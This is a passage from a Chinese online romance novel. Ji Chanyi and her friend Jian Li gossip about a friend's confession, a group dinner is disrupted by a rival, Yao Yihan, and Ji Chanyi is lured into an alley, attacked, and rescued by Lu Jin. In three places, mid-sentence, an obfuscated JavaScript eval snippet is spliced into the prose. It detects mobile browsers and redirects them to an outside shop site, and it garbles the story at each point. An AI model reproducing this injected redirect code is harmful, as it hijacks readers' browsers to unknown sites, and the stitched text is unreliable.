“我去,我真快不行了,太逗了哈哈哈哈哈哈哈,等以后有机会了我一定看看躺在粉色被窝里的周总是什么样子,肯定很有反差萌。”笑完之后,简离想到了什么,神色忽然又一下子变得正经起来,拉着季蝉衣认真的问,“不过……你真的打算放弃陆靳了?” “那还能有假,我现在都和周予安住一起了,难道还在演戏啊?” 这句话说出来,季蝉衣特别理直气壮,一点也不心虚。 偏偏简离确实也信了:“嗯……好像也确实。实话和你说吧,你可别生气啊,昨天我刚听见这个消息的时候,还以为……以为……” “以为我和周予安是演戏故意激陆靳来着,想让他吃醋是吧?” “……你怎么知道?” 季蝉衣哼了一声,她当然知道,这可是言情小说里屡见不鲜的套路:“你就放心吧,我还犯不着为了一个男的做出这么大的牺牲,我和周予安在一起,肯定是因为我真的喜欢他啊。虽然我俩相处的时间短,但我已经发现了他就是我的灵魂伴侣,因为我俩各方面都无比契合……行了孩子,和你说了你也不懂,这种事情只可意会不可言传,等你以后长大了就明白了。” 简离“切”了一声:“什么无比契合,我看就是你俩臭味相投吧。” 季蝉衣乐了乐:“没错,差不多就是这么个意思。行了,别光顾着说我了,你不是还要和我说大八卦吗?” 一说起这个,简离立刻来劲儿了,双眼泛着光,兴奋的拉着季蝉衣说:“你知道昨晚发生了什么吗?真的特别抽象而且刺激,我必须仔细和你说说。” 简离一口气把昨天发生的事情和季蝉衣说了说,简单来说就是,这确实是一个既抽象又有些出人意料的表白故事。 昨晚李慕青把那个她只见过一面、后来一直通过手机聊天的杨秀迁叫了出来,她准备了很多小礼物,准备了花束和手工摆件,甚至还准备了一枚戒指,准备正式和杨秀迁表白。 杨秀迁刚接到他上高中的妹妹准备回家,所以才姗姗来迟,见到李慕青的时候,明显愣了一下。 李听澜先站出来缓和气氛,和杨秀迁聊了两句,两人是同学,很快就熟稔起来,简离也趁机和杨秀迁聊了聊,终于烘托到气氛融洽时机合适的时候,李慕青站了出来,和杨秀迁表白了。 杨秀迁一脸震惊,回头看看自己的妹妹,又看了一眼李慕青,显然是误会了什么:“你和我妹妹……你们是什么时候……” 显然杨秀迁还没有认出李慕青来。毕竟李慕青一直没说话,又是短发打扮,所以杨秀迁就下意识把她当成了男生。 因为杨秀迁的妹妹就站在他身后,所以杨秀迁就理所当然的以为李慕青这番话是对他妹妹说的。 李慕青还没来得及解释,简离就先站了出来,忍不住道:“没和你妹妹,是和你。” 杨秀迁:“?” 杨秀迁的神情略显慌乱:“那个,我不是……” 李慕青终于忍不住开口了:“我也不是……不是,杨哥,你不记得我了?” 杨秀迁迷茫的盯着李慕青看了一会儿,她的声音让他觉得有些耳熟,但他显然还没想起来。 李慕青忍不住提醒到:“一年前在你们的同学聚会上,我跟在我哥身边,咱们还聊天了,你不记得了吗?我的微信名叫‘般若星聚会的棘皮海胆’,咱们经常聊天来着,你没有印象了吗?” 一听到这个,杨秀迁顿时恍然大悟:“哦哦,原来是慕青啊……”他的眼神清醒了一阵,很快又变得茫然,“……可我记得上次见你的时候,你不还是长头发吗?怎么现在变化这么大,我都……都没认出来……” 李慕青微微一笑:“我剪短发,其实是因为你。我以为你是女生。” 杨秀迁:“?” 简离:“?” 李慕青说:“上次在同学会上见到你,你还留着长发,而且也不怎么别人说话,看起来又安静又清秀,我就以为你是个声音有些低沉的女生。不知道为什么,宴会结束之后,你的身影却一直在我脑海里挥之不去。后来我加上了你的微信,原本不想和你那么频繁的聊天,可我一打开微信就忍不住想点进和你的聊天框……渐渐的,我的心里对你就产生了一种别样的感情。但那个时候我一直以为你是女生,觉得自己的行为不太合适,但我就是忍不住,也正是因为觉得你是女生,肯定不会接受这样的感情,所以我也一直不敢来见你,怕见了你之后,你会觉得失望,而我则会越来越控制不住自己对你的感情……后来我剪了短发,穿搭也渐渐改变了,只想着下次见你的时候,能换一种形象。直到后来和我哥偶然聊起你,才知道原来你是男生……” 杨秀迁:“?” 简离:“?” 李慕青低下头,继续说:“我顿时欣喜若狂,立刻就准备来见你,可是却又因为饮食不规律胃穿孔住进了医院,耽误到了现在,才终于有空来见你了。” 杨秀迁:“我……” 李慕青抬起头,认真地说:“不管怎么样,今天我就是正式想向你表达我的感情。杨秀迁,我喜欢你,你呢,我们聊了这么久,你有没有一点点喜欢我?” 杨秀迁的脸顿时红了,他下意识挡在自己妹妹面前,嘴巴张张合合,很久才结结巴巴的说:“有、有一点……但,但是我……” 李慕青的眼睛里立刻绽放出亮光,她冲上去抓住杨秀迁的手,激动地说:“有就行了,但是什么的都不重要。只要你也喜欢我,那么我愿意为了你做一切,为你冲锋陷阵,为你扫除一切障碍。” 说到这里,简离终于忍不住摇了摇头,即便是和季蝉衣转述也依然感叹不已:“你敢信,两人一年前见过一次,这一年一直用微信聊天,这次见面还真就准备在一起试试了。来之前李慕青就准备好鸽子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541876|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋准备送给杨秀迁,我本来还觉得她应该送不出去,没想到还真让她给出去了。” 季蝉衣手动合上自己惊掉的下巴,至今觉得很迷幻:“这就是有钱人终成眷属,没钱人亲眼目睹吗?” 简离道:“李慕青说今天还要请我们吃饭呢,算是感谢你昨天送他们回来。” 季蝉衣连忙说:“还是我请吧,怎么着也得尽一下地主之谊啊。” “没事儿,李慕青开心呢,不花钱心里难受的慌,现在正想花钱庆祝呢,就让她请吧。” “也行,以后有机会我再请他们吧。订好饭店了吗?” “订了你最爱吃的那家烤鱼,晚上叫着周总啊,咱们一起去吃。” “行啊,等一会儿我问问他有没有空。” 谁知道简离听见这话就笑了,季蝉衣问她笑什么,简离说:“要是你邀请,就算周予安没空也会有空的。” 季蝉衣摇了摇头,想了一下好像确实副和周予安一直以来的作风,于是也跟着笑了。 笑完之后,季蝉衣想到了正事,表情不由得严肃起来,她扳正简离的身体,开门见山的问:“对了简离,昨天我一直没有机会问你,你和那个李听澜到底是怎么回事?” 简离被季蝉衣的模样吓了一下:“怎么忽然这么严肃了?我和李听澜……我俩没怎么回事儿啊。” “你们是不是……是不是在一起了?” 简离怔了一下,立刻矢口否认:“哪有,我俩就是普通朋友而已,这次见面多聊了两句,你怎么忽然扯到我俩了?” 季蝉衣狐疑的打量了她一眼:“真的?” “真的!这我骗你干嘛啊?怎么了,怎么这么严肃啊?他干什么伤天害理的事情了?” 季蝉衣思索了一下,字斟句酌地说:“是因为昨天从医院出来之后,不是周予安送咱们回来的吗?把你们送到地方之后,我俩就聊了聊李听澜,没想到周予安竟然真的对这个李听澜有点了解。总结来说,就是这个李听澜虽然事业很成功,但是人不是什么好人——我的意思是,这种人可以做合作伙伴,但是一定不能□□人,你能懂吧?他有一个前女友,两个人分分合合了七八年,依然斩不断理还乱,这就说明什么?说明他们两个人看似分分合合,但其实都对对方还有很深的感情。七八年都藕断丝连,他们的痕迹已经深深的嵌入了对方的生活之中,只要还活着,就不可能轻易断掉,你要是贸然插进去,绝对会受伤的。我不想你成为他俩爱情里面的垫脚石,所以才和你说这些。” 简离沉默了两秒,转瞬间就明白了什么。她笑了笑,随意的往后靠了靠:“放心吧,我虽然没谈过恋爱,但也不是那种涉世未深的小女孩了。我和李听澜真的没有什么,再说了,就算是我真要和他在一起,也说不定是谁受伤呢。不过谢谢你和我说这些,他确实从来没有和我透露过他上一段感情,之前陪着李慕青的那段时间我和他接触了一阵,如果没有你这番话,我确实可能会陷进去。” 说着,她忽然笑了笑:“当初和他接触的时候,还有很大一部分原因是抱着可以通过接触他了解陆靳,因为我一直觉得陆靳不是好人,但你喜欢他,所以我就想通过李听澜了解陆靳这个人的真实面目,以防你再被他骗。但既然现在你和周总两情相悦了,我当然也就不会再多管李听澜和陆靳的事情了。熠姐,你以后就只管把心放肚子里就可以了。” 简离说的前面这段话季蝉衣确实相信,虽然简离没有谈过恋爱——当然了,这是按照她自己的标准来看。但她外面养着几个人,累了困了就是找他们发泄压力。 简离的爱好是给各自剧啊、动漫啊、游戏啊之类的角色配音,她特别喜欢配音,甚至还专门注册了公司专门做这个,把爱好发展成了事业。不过也正是因为她得保护嗓子,所以平常不能抽烟更不能喝酒,她也不喜欢玩极限运动,所以能用来发泄的渠道就变得极其稀少。 对普通人来说很多可以发泄情绪的方法对她来说都不能用,所以□□是她最常用来发泄压力的方式。但她对床伴的要求很高,身边养着的那几个床伴也只有她一个金主。 简离确实已经不是涉世未深的小女孩了,之前她是不知道李听澜和姚以寒的关系,再加上李听澜和陆靳又是发小,简离接近李听澜也别有所图,所以才陷得特别深。但这次季蝉衣提前一步已经把话带给了简离,季蝉衣觉得哪怕就是李听澜真的要把简离拽进他和姚以寒那一团乱麻的爱情漩涡里,以简离的段位来看,现在也说不定是谁玩谁了。 24. Chapter24. 季蝉衣又兴致勃勃地和简离又聊了会八卦,眼看快到周予安下班时间了,就发消息问他有没有空。 周予安确实有空。他和季蝉衣约好了时间,准时准点把车停在楼下,接上了季蝉衣和简离之后,就开向了那家烤鱼店。 车子缓缓在路边停稳,熄火,季蝉衣先下了车,还没来得及关上车门,一个熟悉的声音就在身后响起:“熠熠姐?” 这声音季蝉衣已经很熟了,不用回头就知道是谁。她关上车门,纪雪薇已经绕到了她旁边,笑眯眯的看着她:“还真的是你,你肯定也是慕青请过来的吧?” 季蝉衣一听就知道不好,这下应该不是偶遇了,估计一会还得在一张桌上吃饭,果然就听见纪雪薇继续说:“我也是。不得不说这个世界真是太小了,阿靳和听澜是发小,慕青和雨婷是好朋友,慕青邀请雨婷的时候,正好我也在旁边,就跟着一起来了。没想到在这里还遇见了你,熠熠姐,咱们真是太有缘份了。” 季蝉衣叹了口气,心说就是不知道这缘分是不是孽缘了。 纪雪薇拿出一枚胸针,笑眯眯地递给季蝉衣:“熠熠姐,这是上次和阿靳逛街的时候我偶然看见的,觉得很衬你,就买下来送给你了。要不要戴上试试?” 原本季蝉衣还担心纪雪薇平白无故给她东西有诈,但听到“阿靳”这两个字之后,又立刻松了口气。纪雪薇估计确实没什么恶意,就是纯炫耀她和陆靳的关系而已。送上门地东西不要白不要,季蝉衣笑眯眯的接了过来:“看起来确实好看,连款式都是我喜欢的。那什么,就是我今天身上也没带什么东西,改天有机会了我把我喜欢的那对珍珠耳环送给你,我觉得那副耳环也很衬你。” 纪雪薇脸色微微一变,似乎有些意外季蝉衣的回答。 季蝉衣还以为纪雪薇这副模样是因为看见自己对她和陆靳关系亲密而无动于衷所以有些破防,顿时心情很好的哼起歌来。哼,心中无男人拔刀自然神,不知道姐现在根本看不上陆靳那头大猪蹄子了么?拿他激季蝉衣简直如同拿自行车喂鱼一样让季蝉衣毫无压力。 简离和周予安也一前一后下了车,纪雪薇不动声色瞥了两人一眼,笑眯眯的看向周予安,眼神顾盼生辉:“周总,你也来了?” 周予安“嗯”了一声,并没有任何深入交谈的意思。 纪雪薇倒也不觉得尴尬,笑眯眯的自己给自己铺台阶下:“既然有你陪着熠熠姐,那我也就放心了。雨婷还在里面等我呢,我就不和大家聊天了,先进去了。” “好,拜拜。” “嗯,熠熠姐再见。” 等纪雪薇的身影消失不见,简离才凑到季蝉衣身边,她撇了撇嘴,说道:“这个纪雪薇一看就不是什么特别好的人,我怎么感觉她对你别有所图呢?” 季蝉衣闻言拍了拍她的肩膀,心说孩子,你在看人这方面确实有点实力啊。 简离现在还不知道几个人之间的爱恨情仇,季蝉衣也懒得和她说,毕竟她自己也没当回事。所以简离只是嘟囔了几句觉得纪雪薇这人好像别有目的之外也就没有再多想。 三个人拿好各自的东西,很快走进饭店,在服务员的指引下来到了李慕青订的那个包间。 李慕青兄妹俩和杨秀迁已经到了,正坐在一起聊天。除了他们三个之外,包间里还坐着陆雨婷、纪雪薇和陆靳。 见到纪雪薇又听纪雪薇说陆雨婷也会来的时候,季蝉衣就已经做好了陆靳也会来的心理准备,所以见到他并没有觉得多惊讶。 大家互相寒暄了一阵,服务员就陆续把饭菜端了上来。 这家店是以烤鱼出名的,季蝉衣之前偶然吃过一次,觉得味道惊为天人,于是从那以后每隔一段时间就想再来一次。 周予安已经对她的喜好了如指掌,全程帮她夹菜端水,服务周到,手法体贴。 季蝉衣十分满意且早已习以为常。 两个人这熟稔的模样落在其他人眼中就有了不同的意义。 李慕青和杨秀迁心领神会的相视一笑,忍不住也在饭桌下面手拉手。 陆靳则和陆雨婷对视一眼,两个人都没说话,但都心知肚明的模样。 纪雪薇则死死的盯着周予安,脸上没有任何表情。 简离和李听澜就比较正常了——两个人光顾着吃鱼,没注意季蝉衣和周予安的互动。 吃着吃着,坐在季蝉衣身边的纪雪薇忽然也开始帮她夹菜,同时笑眯眯地和周予安说:“周总,怎么光给熠熠姐夹菜了,自己也要吃点啊。我帮熠熠姐夹菜就行了,你喜欢吃折耳根吗?这道凉拌折耳根很好吃,你想不想尝尝?” 说着就要给周予安夹菜,周予安连人带筷子挪了挪,脸上的笑容依然很客气:“不了,我折耳根过敏。” 纪雪薇摇了摇头,一脸遗憾的说:“这样吗?这道菜我还挺喜欢的,真是可惜了。” 她放下公筷,又拿出汤匙帮季蝉衣舀了点骨头汤,笑眯眯地说:“熠熠姐尝尝这个,也很好喝。” 放下汤勺时,纪雪薇的小拇指不小心蹭到了季蝉衣的手背,便立刻抬头朝她微微笑了笑:“熠熠姐,鱼刺我已经挑干净了,你直接吃就行。” “好,谢谢你啊雪薇妹妹,有心了。” 纪雪薇又看向周予安,不知道用眼神向周予安传递了什么消息,笑眯眯地说:“周总,你要不要吃点?这块肉的鱼刺我已经弄干净了,你可以好好的尝尝这块鱼肉。” 周予安瞥了一眼,这种鱼唯一的缺点就是刺多,纪雪薇手上的那块估计是弄得比较匆忙,肉眼可见还有几根鱼刺。他不吃别的女人经手的食物,所以客气的笑了笑:“不用了,我只喜欢挑刺,不喜欢吃鱼。” 纪雪薇:“……?” 季蝉衣倒是完全没看见纪雪薇看向周予安的视线——虽然就算她看见了也不会在意。她心道,哼哼,不用想纪雪薇也肯定又是对周予安暗送秋波,难道真被周予安说中了,不管是女主喜欢哪个,女配也会跟着一起喜欢?哪怕她喜欢的是根葱女配也得抢过去?这究竟是什么奇奇怪怪的设定啊? 这他喵的女配这是喜欢女主,所以才能爱屋及乌吧?? 不过不管怎么说,起码周予安她是不担心的,哪怕是周予安和纪雪薇躺在同一张床上她也信两个人是盖着棉被纯聊天。 无它,唯人熟尔。 纪雪薇丝毫不觉得尴尬,她收回视线,笑眯眯的吃了一口自己面前的鱼肉。 虽然底下暗流涌动,但起码表面上是非常和平且融洽的。 但和平的气氛并没有维持太久,吃着吃着,一个不速之客就堂而皇之的推门进来了。 这位不速之客就是传闻中和李听澜纠缠了好几年之久的姚以寒。 看见姚以寒,李慕青下意识看向李听澜,紧接着就看向了简离。 季蝉衣的第一反应也是下意识看向了简离。 李听澜皱了皱眉,但简离没什么反应。 季蝉衣压立刻忍不住低声音和周予安说话:“遭了的,小说中常见的修罗场场面终于还是要来了。我唯一疑惑的就是,为什么这些人都要在我们正吃的开心的时候闪现?” 周予安摇了摇头:“可能起到一个下饭剧的作用吧,不过缺点就是主演是你对家,主要是起到一个可以让我们尽情吐槽的作用。” “那很让人难以下咽了。” 果不其然,姚以寒在这个时间点出现,肯定不是想寒暄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546961|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下这么简单的。 她的视线在几个人身上巡视一番,最后停在了李听澜身上:“听澜,我在外面看见了你的车,就知道你肯定在这里面。” 李听澜只是淡淡地开口:“你怎么来了?” 姚以寒微微笑了笑:“进来看看朋友不行吗?听说慕青妹妹谈恋爱了,我过来祝贺一下。喏,这束花就是送给慕青妹妹的。”她把手中的花递给了李慕青。 季蝉衣“啧”了一声,悄咪咪的和周予安说:“果然开始挑衅了,还像模像样的带束花,不知道是从哪个坟地里偷的。” “……衣姐,你的攻击力我向来是敬佩的。” 姚以寒说完又转向了李慕青,用一副熟稔又长辈似的语气笑:“是你喜欢了一年的那个吧?之前你就经常和我说他的事,现在总算能如愿了。” 这番话明着暗着暗示大家她和李慕青已经亲密到可以互相说自己的少女心事,从而让人明白她和李家兄妹的相识已久且关系匪浅。 周予安见状点点头,也压低声音对季蝉衣说:“不过能看出这人确实是来挑衅的,上嘴皮碰下嘴皮就又说出来了一句废话。” “有点挑衅的狠话全在这里说了。” “群主是谁,能不能把她从房间里踢出去啊。” 李慕青看了一眼她哥,很快落落大方的朝姚以寒笑起来:“以寒姐,那都是多久之前的事情了?那时候小,也不怎么懂事,见人就说自己喜欢谁,也不知道害羞。不过也感谢以寒姐的祝福,希望以后也有机会能同样的祝福你。” 姚以寒笑了笑:“我看这个包间还没有坐满,正好我也还没吃饭,大家应该不介意多加一个椅子吧?毕竟我和慕青也是老朋友也是老朋友了,我想慕青是不会拒绝的,就是不知道这些新朋友会不会不愿意?” 她这话虽然是对所有人说的,但眼睛却一直看向简离。 季蝉衣一看见这种堂而皇之理直气壮的挑衅就来气,再一看李听澜什么都没说,心里就已经明白了几分。 别管李听澜现在对简离是个什么想法,但他心里肯定还是有姚以寒的。在这种情况下,他甚至都没有主动开口拒绝姚以寒,毕竟姚以寒显然是为他而来,他是这里最有资格直接拒绝姚以寒的,但是他没有。 也怪不得两个人能纠缠这么多年也分不开,姚以寒固然有手段,但如果李听澜真的不爱她,两个人不会一直分分合合的。 这么一想,季蝉衣反而有些庆幸姚以寒过来闹这么一遭。她能看明白的事情,简离不可能不明白,简离虽然爱上一个人之后确实会恋爱脑上头智商直降十万八千里,但现在她还远远没有到上头的地步,见到李听澜对姚以寒的态度,她肯定会及时止损,把自己彻底从感情的漩涡里抽出来。 总之这次有季蝉衣的提前声明和姚以寒的助攻,简离的做法肯定会和原文中描写的完全不同了,如果说昨天的话算是彻底粉碎了李听澜的形象,那么今天姚以寒的出现就又给这些碎片加了一层护盾。 季蝉衣这么想着,抬头看向简离,果然见她百无聊赖的玩自己的手机,完全没有想要参与这些破事中的意思。 季蝉衣彻底松了口气。 按照季蝉衣一贯以来的性格,遇到这种女配直接挑衅的情况她会直接站起来阴阳怪气姚以寒一顿,但想通这些之后,她反而觉得让姚以寒留下利大于弊,于是一反常态的什么都没开口。 简离和季蝉衣不说话,李听澜是想让姚以寒留下的,其他人都无所谓,所以姚以寒最后还是留下了。 姚以寒落落大方的坐在了李听澜身边,指挥服务员搬椅子的时候,还居高临下笑眯眯的和原本坐在李听澜身边的简离说:“麻烦简小姐让一让吧。” 25. Chapter25. 李听澜沉默的看着这一切,什么也没说。 简离麻溜的让开了位置,坐在了季蝉衣身边。 季蝉衣和简离对视一眼,果然越到这种焦灼的时候越不能和好朋友对视,哪怕对方脸上都没有表情。两个人同时移开了视线,及时绷住了嘴角的笑容。 果然在这种时候,只要完全置身事外,那么别人再怎么挑衅,也只会觉得有趣,简离显然已经彻底看清了现在的局势,对李听澜那点好感也很快就散去了。现在再以这种普通朋友的态度看姚以寒的举动,就会觉得很有意思,像在看一场熟人出演的闹剧。 至于季蝉衣……第一次参与进这种女配作妖但男主偏心的剧情里,而且主角还不是自己,顿时就摩拳擦掌觉得无比兴奋。 姚以寒坐下之后,大家一时都沉默下来,不知道该说什么合适。 不过姚以寒自己倒是丝毫不觉得有什么,反而还笑眯眯的叫大家吃菜,俨然是一副女主人的姿态。 有了姚以寒积极的调节气氛,大家也多少给予回应,气氛也渐渐的再次热闹起来。 姚以寒时不时的帮李听澜夹菜,还说着“这些都是你爱吃”“你都瘦了,多吃点”之类的话,李听澜的脸色一开始还很差,但渐渐的,也就平缓下来,甚至也愿意动筷子吃一两口姚以寒夹给他的菜了。 虽然不知道两个人之间发生了什么,但姚以寒对李听澜来说,显然是个例外。毕竟姚以寒刚进来的时候,李听澜脸色并不好,显然两个人之前有过争执。但姚以寒只需要帮他夹几筷子菜,李听澜的脸色就能平复下来……显然姚李听澜对姚以寒的爱,比表面上看起来的要多得多。 姚以寒做完这些,不动声色的看了一眼简离,嘴角微微上扬,忽然又转头对李听澜说:“阿澜,我和苏山并不是你想的那样,我之所以和他合作,真的只是因为我需要这次合作得到我母亲的关注。我需要一个机会来向母亲证明自己,你也知道我家的情况,自从我投资失败之后,我母亲就一直对我颇有微词,断了我的经济来源,我需要一个机会证明自己……” 姚以寒停顿了一下,说出那句经典永流传、足以载入史册的话:“你知道的,我只是想让母亲多陪陪我,多关注我,而不是一直扑在自己的事业上。我想要的不是冷冰冰的钱,而是温暖如山的母爱啊。” 李听澜听见这话,神色略显动容。正要开口说什么,季蝉衣终于忍不住了,当着姚以寒的面阴阳怪气:“我~想~要~的~不~是~冷~冰~冰~的~钱,而~是~温~暖~如~山~的~母~爱~啊。” 姚以寒:“……?” 大家都看向季蝉衣。 季蝉衣若无其事的翻弄自己碗里的鱼肉,继续说:“行啊,那你把钱给我,我给你温暖如山的母爱。” 姚以寒:“?” 众人纷纷低下头夹菜,装自己听不见。 姚以寒表情冰凉:“季小姐这是什么意思?” “字面意思啊?还是说姚小姐听不明白中文?” 姚以寒皱了皱眉:“我和季小姐无冤无仇,怎么季小姐好像格外针对我?” “那你真是想多了,我只是觉得这句话比较好笑。是你自己说的你不想要冷冰冰的钱,但真让你把钱给我你又不愿意了……所以姚小姐说这句话是何意味?想博取谁的同情?” “我并没有想博取任何人同情的意思,我说这些话也和季小姐没有任何关系。我和慕青、阿澜是好朋友,只有他们才能真正的理解我,明白我心里的难过和委屈。一句话的重量,取决于这句话落在谁在心里,更取决于听这句话的人对说这句话人的感情。季小姐不明白也正常。” “一句话的重量是多少我不知道,但一巴掌就不一样了,打出去以后谁都得俯首称臣。姚小姐想试试吗?” 周予安笑了,补充道:“这么说的话,一颗子弹的重量就更不一样了,打出去后谁都得对你肝脑涂地。” 季蝉衣用眼神和周予安击了一掌。 姚以寒:“……” 姚以寒冷冷的看着季蝉衣,忽然又微微一笑:“看来季小姐和周总关系匪浅啊,想必季小姐受伤,周总安慰你的时候也能和阿澜一样的感同身受吧?或许你们并没有这方面的经历,所以不懂我,我也理解,毕竟世界上并不是所有人都能感同身受,也正是因为明白这个道理,所以我对在我孤单的时候陪在我身边的阿澜才格外感激……算了,你们不懂,和你们说了也没用。毕竟这个世界上并不是每个人都有机会感受到真爱的。” 李听澜听完这番话,明显更加动容。 季蝉衣的白眼差点直接翻出来了:“哇,真是太催人泪下的一番话了,我嘴笨,不像李总知道怎么劝你。我真不知道怎么安慰你了,所以我用自己的行动证明——我保证我去死的时候一定带上你,可以吗?这样足够能安慰你了吗?” 姚以寒:“……” 李听澜:“……” 众人继续纷纷低头夹菜,继续装自己听不见。 姚以寒终于受不了了,一向平稳的面具出现了一丝裂纹,咬牙切齿的说:“季、小、姐!我究竟哪里做的让你不开心了,才让你这样针对我?” 季蝉衣掏掏耳朵:“谁说的,我可没说,少诋毁我。得不到的就诋毁是吧?” 姚以寒冷笑一声,终于被季蝉衣这种无所谓的态度惹恼了:“好,既然季小姐自己说去死的时候要带上我,那你现在就下地狱吧!” 这话说的就有些重了,周予安不动声色的瞥了她一眼,嘴角依然保持着上扬的模样,但眼神却变得有些阴沉,简离和纪雪薇同时皱了皱眉,其他人脸色也变了变,只有季蝉衣看起来依然笑眯眯的:“胡说,没有你的地方才不叫地狱。” 姚以寒:“……” 姚以寒真是看不懂季蝉衣这是走的什么风格,你说一句她就还一句,等你终于受不了了骂她一句,她又开始装疯卖傻……但姚以寒也没有再说什么看似抒情实则暗戳戳证明自己和李听澜关系不一般的话了,因为只和季蝉衣短短说了几句话,她就有种火不知道往哪里发的感觉。她怕自己再开口,季蝉衣又开始说那些似是而非的鬼话让她忍不住想把人掐死。 姚以寒正常了之后,饭桌上安静多了,大家默契的装作刚刚什么都没有发生一样转而开始聊其他的事情。 有了季蝉衣的搅局,姚以寒说一点有什么苗头的话都会被季蝉衣阴阳怪气回去,所以这顿饭姚以寒吃的难以下咽,吃到一半她就呆不下去了,借口自己有事,和大家不欢而散。 季蝉衣浑然不觉,还在低头吃自己碟子里的东西。 一旁的纪雪薇依然还笑容和蔼的看着她,一直在殷勤的帮她夹菜。 一开始季蝉衣还觉得纪雪薇那笑容有种说不清的瘆得慌的感觉,但后来被姚以寒一搅和也就没在意了。 纪雪薇静静的看着季蝉衣低头吃自己夹给她的食物,脸上的笑容不变,眼底却闪过一丝冷漠。 吃饭吃到一半,陆雨婷出去上厕所了,季蝉衣没在意,刚吃了两口菜,纪雪薇忽然压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550157|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声音对季蝉衣说:“熠熠姐,你能帮我去给雨婷送一下卫生巾吗?她刚刚给我发消息让我帮忙送一下,但是我手上沾了油,不想再麻烦人帮我拿毛巾,正好你离门近,能顺便帮我送过去吗?” 季蝉衣正好也有点想去厕所,于是没怎么犹豫就点了头:“好啊,正好我也想去个厕所,给我吧。” 季蝉衣拿着卫生纸和卫生巾从包间里出去,外面有个穿着打扮像是服务员的人,戴着店里统一的帽子,只是不知道为什么他的帽子好像格外大,把上半张脸都遮得严严实实,再加上他戴着口罩和手套,所以根本看不见一点皮肤。见季蝉衣出来,那个服务员殷勤的上前,主动开口询问:“您好,是想去厕所吗?” 季蝉衣一边感叹这服务这么周到一边点了点头:“对,请问这里有厕所吗?” 服务员笑道:“饭店外面有,离这不远,我带您去吧。” “哦,那麻烦你了。” 季蝉衣跟着那个服务员往外走,路过一条走廊时,她随意瞥了一眼,正好在走廊中间看见了厕所的图标,于是“咦”了一声,奇怪的问:“你们这里不是有厕所吗?” 服务员的眼珠子转了转,很快笑道:“这个厕所里面的水管坏了,正维修呢,暂时用不了了。” “这样吗?” 但季蝉衣好像也没看见维修的标识啊? 大门就在眼前,那个服务员殷勤的带着人往外走,季蝉衣也就没多想。 很快,那个服务员就带着她从正门出来,一路来到一个小巷子口,指着小巷里面笑道:“美女,往里走一百米左右再往左边拐就是公共厕所了。是需要我在这里等您回来还是您自己一会回去?” 季蝉衣摸了摸鼻子,依然没多想:“我一会儿自己回去就好,就不耽误你的工作了。” “好,那我先走了。” 季蝉衣答应着独自往小巷子里走,确定季蝉衣进去之后,那个服务员也很快转过了身。 等走到季蝉衣看不见的地方之后,他左右看了看,见没什么人注意,立刻迅速的脱掉了身上的衣服,原来他身上穿的饭店服务员的制服都是从网上买的高仿,他根本不是什么服务员。 他把全身的衣服全部换下来之后,随意拐进一条街上,很快和其他行人融为一体。 这边的季蝉衣还浑然不觉,边走边思索陆雨婷是不是也被服务员带到了这边的厕所,要是不在的话,两个人错过怎么办。又想其他客人上厕所也这么麻烦,如果客人很多的话,岂不是很容易在路上碰见,但这么走了这么久了一个人也没遇见? 就这么胡思乱想的时候,她很快走到了刚刚服务员说的路口,但是她往左边扭头一看,这条狭窄的小巷子是个死胡同,根本没有所谓的公共厕所。 这是怎么回事?季蝉衣皱了皱眉,心说服务员竟然会带错路吗? 她转头一看,街口哪里还有那个服务员的人影。 季蝉衣心里隐约察觉到了不对劲,赶紧拿出手机想给周予安打电话,但还没拨通,身后就响起短促的男声:“季小姐,得罪了。” 季蝉衣猛地转头,看见了一个全身上下从头到脚都被黑色衣服包裹住的男人,这人显然来者不善。 季蝉衣的第一反应并不是害怕,而是——我去,是谁这么没有脑子,竟然在所有人聚在一起吃饭的时候这么光明正大的暗害她?她一旦出事,周予安肯定很快就会察觉,这不是上赶着送人头吗? 这都不是“暗害”了,这简直就是“明害”了啊。 26. Chapter26. 季蝉衣一边飞速思索是谁这么傻,一边偷偷按住自己背后的手机,想给周予安传递消息。 但对面的人显然没有“反派死于话多”的毛病,她的手指还没动两下,那黑衣人就扑了上来。 季蝉衣猛地往后退了两步,但她穿着高跟鞋,想跑也跑不快,更要命的是她没注意脚下有个井盖,一脚踩空鞋跟直接卡在了井盖上,脚踝也因为惯性扭伤了。千钧一发之际,一个人从她身后闪身出来,一脚将蒙面人踹翻了。 季蝉衣转头一看,笑容顿时凝固在了脸上,变得有些欲哭无泪。 救了大命了,及时赶来的人竟然不是周予安,而是陆靳。 季蝉衣忍不住腹诽,这难道就是书中女主落难男主必来相救的定律吗?她真要甘拜下风了。 